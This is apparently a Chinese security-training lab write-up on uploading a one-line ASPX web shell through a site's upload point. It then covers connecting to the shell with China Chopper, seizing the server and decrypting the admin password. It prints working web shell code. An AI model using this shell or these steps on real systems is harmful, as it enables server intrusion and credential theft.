金融信息安全实训2

上传后门程序

一句话程序的使用

1、新建文本文档chengxu.txt，将文件后缀修改为aspx，书写内容如下：

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

2、在系统中寻找文件上传点。

• 例如友情链接是个上传点

3、上传之前创建的aspx一句话程序文件。

• 将写的chengxu.aspx上传
  

4、设法获得上传文件在网站目录中的文件名称和路径。

• 右击上传的文件，即可得到它的文件名称和路径

http://192.168.167.92/uploadfiles/22041811075863.aspx

5、利用中国菜刀工具连接一句话程序(密码为pass)。

6、获得目标服务器的操作权限并拿到数据库文件。

7、对数据库中的账号密码进行解密。

即可得到解密后的密码，密码为admin。